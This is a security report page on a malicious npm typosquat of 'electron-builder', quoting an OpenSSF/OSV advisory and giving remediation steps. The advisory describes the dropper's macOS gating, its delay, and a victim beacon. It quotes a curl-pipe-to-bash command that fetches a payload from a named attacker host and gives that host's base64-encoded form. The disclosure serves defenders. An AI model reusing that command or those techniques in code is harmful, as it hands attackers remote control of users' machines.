@403name/electron-buidler
This report shows the evidence for @403name/electron-buidler@1.0.1. 2 of 2 known versions are blocked or flagged. See all versions.
OpenSSF/OSV Malicious Advisory
imported 3mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-5547 confirms this npm version as malicious.
Advisory
MAL-2026-5547
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in @403name/electron-buidler (npm)
Details
On require(), index.js executes an immediately-invoked function that platform-gates to macOS, skips CI environments, drops a one-shot marker file in ~/.cache/.nyx-npm/eb, then after a 30-90 second random delay performs two attacker-controlled network operations. First, it issues a curl GET to https://k7xm9q.xyz/api/clickfix-callback carrying a beacon ID, $USER, os.hostname(), and the literal tag 'npm_electron-buidler' as query parameters, identifying the victim to the attacker. Second, it fetches a dead-drop file at https://raw.githubusercontent.com/nyx-deploy/config/main/c2.txt to learn a C2 base (base64-encoded fallback decodes to https://k7xm9q.xyz), then pipes `curl -sSfL <C2>/api/payload/ | /bin/bash` via spawn('/bin/sh','-c',...) with `& disown` to detach the shell. The C2 host is concealed via atob('aHR0cHM6Ly9rN3htOXEueHl6'). The package name '@403name/electron-buidler' is a one-character typo of the popular 'electron-builder' package under an unrelated scope; the README's 'Electron application builder' claim is a cover for the dropper. Importing this package on a non-CI macOS host yields full remote code execution as the installing user with attacker-controlled payload delivery and no consent.
## Source: ghsa-malware (352ae29df3a0e177b39708989253a926f62552541003be6a2eb6393d345732fd) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Source & flagged code
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Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to @403name/electron-buidler@1.0.1.
The same advisory and Firewall decision cover 2 recorded versions
1.0.0, 1.0.1
The versions list below shows the verdict for each recorded version.
- Avoid installing @403name/electron-buidler@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
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Source advisory published: .
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